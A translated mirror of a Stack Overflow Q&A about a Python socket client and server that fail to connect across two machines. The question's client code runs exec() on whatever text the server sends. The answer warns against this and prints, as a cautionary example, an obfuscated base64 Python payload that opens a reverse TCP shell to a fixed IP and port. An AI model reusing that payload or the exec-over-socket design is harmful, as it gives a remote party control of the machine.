繁体   English   中英

python sockets 未在两台不同的机器上连接

[英]python sockets not connecting on two different machines

我最近在 python 中学习了套接字库。我正在编写游戏的多人服务器,但在编写整个多人服务器之前,我决定编写一个小型服务器,只是为了看看服务器在 python 中的工作方式。当我编写服务器代码时,我的代码很尴尬当我在自己的 windows 10 计算机上运行客户端和服务器时,代码工作正常,它连接并完成了工作(它的工作是两个从主机名获取 IP,但客户端将发送主机名,获取 IP 的代码在中执行服务器并发送回客户端)但是当我与我的朋友共享客户端文件时客户端和服务器没有连接,没有错误消息或其他东西,防火墙没有阻止任何连接,所以他们为什么不连接? 这是服务器文件中的代码(打印语句只是为了制作加载栏效果):

import socket
from time import sleep
#Default port number: 1234
server=socket.socket()
def run_server(port=1234):
    print('Booting server...')
    print('|-|-|-',end='')
    sleep(0.05)
    server.bind(('',port))
    print('|-|-|-',end='')
    sleep(0.05)
    server.listen(5)
    print('|-|-|',end='')
    sleep(0.05)
    print('\nServer is running and can be accessed now\n===============================================')
    while True:
        c,addr=server.accept()
        print('recieved connection from: ',addr)
        c.send(bytes("ip=bytes(input('Welcome. Enter hostname to extract ip from: '),'utf-8')",'utf-8'))
        c.send(bytes('_socket.send(ip)','utf-8'))
        reply=c.recv(1024).decode('utf-8')
        try:
            ip=socket.gethostbyname(reply)
        except:
           c.send(bytes('''print("The hostname is either invalid or wasn't found")''','utf-8'))
           c.send(bytes('_socket.close()','utf-8'))
           continue
        c.send(bytes("print('"+ip+"')",'utf-8'))
        c.send(bytes('_socket.close()','utf-8'))
run_server()

以及客户端中的代码:

import socket
def run(mode='client'):
    _socket=socket.socket()
##    if mode=='client':
    _socket.connect(('192.168.0.101',1234))
##        return True
    while True:
        command=_socket.recv(1024).decode('utf-8')
        exec(command)
##    if mode=='server':
##        _socket.bind((socket.gethostname(),1234))
##        _socket.listen(5)
##        while True:
##            client,addr=_socket.accept()
##            msg=client.recv(1024)
##            if msg[-1]!=b'.':
##                continue
##            else:
##                _socket.close()
##                break
##        return pickle.loads(msg)
while True:
    try:
        run()
    except OSError:
        continue

(忽略注释代码,我只是保留了它以便在需要时可以将其复制到其他文件中)

附加信息(我之前错过了):在client.py文件中,您会看到最后几行是try and except OSError块。 我添加了这个块,因为我不知道为什么但是当我运行客户端时,我得到这个错误:

Traceback (most recent call last):
  File "C:\Users\DEVDHRITI\Desktop\Files&Folders\HMMMMM\python\client.py", line 24, in <module>
    run()
  File "C:\Users\DEVDHRITI\Desktop\Files&Folders\HMMMMM\python\client.py", line 8, in run
    command=_socket.recv(1024).decode('utf-8')
OSError: [WinError 10038] An operation was attempted on something that is not a socket

当我使用tryexcept块隐藏此错误时,没有区别,客户端工作正常,没有显示任何问题。 有谁知道为什么会这样?

An operation was attempted on something that is not a socket进行操作通常意味着您正试图对已关闭的套接字进行操作。 我没有运行你的代码,但我相信正在发生的事情是你让你的服务器向客户端发送一个命令,然后指示客户端关闭。 然而,客户端试图接受来自服务器的无限消息; 即使在客户端的套接字已关闭之后

要么让客户端只接受一条消息,要么停止让服务器告诉客户端自行关闭。

我会将客户端代码更改为如下内容:

try:
    while True:
        command=_socket.recv(1024).decode('utf-8')
except KeyboardInterrupt:
    _socket.close()

而现在客户端在想退出的时候可以按ctrl + c自行关闭。


另外,永远不要像现在这样使用exec 尤其是在不检查您将要exec的内容的情况下。 如果服务器曾经遭到破坏,或者服务器所有者变得恶意,或者如果您交换它并让客户端向服务器发送命令,那么您正在让运行exec的机器受到破坏。 如果套接字的发送端发送了这样的代码,例如:

# Do not run this!
exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCx6bGliLGJhc2U2NCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMTIwLjEyOScsNDQ0NCkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoemxpYi5kZWNvbXByZXNzKGJhc2U2NC5iNjRkZWNvZGUoZCkpLHsncyc6c30pCg==')[0]))

这将导致exec计算机启动反向 TCP shell,并将他们计算机的控制权交给另一台计算机,另一端将能够在您的计算机上做任何他们想做的事情(或者至少他们拥有的任何东西)的访问权限)。

你永远不应该真正使用evalexec除非它被用在用户代码永远不会输入的地方。 将用户输入直接提供给exec是非常危险的,应该不惜一切代价避免。

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM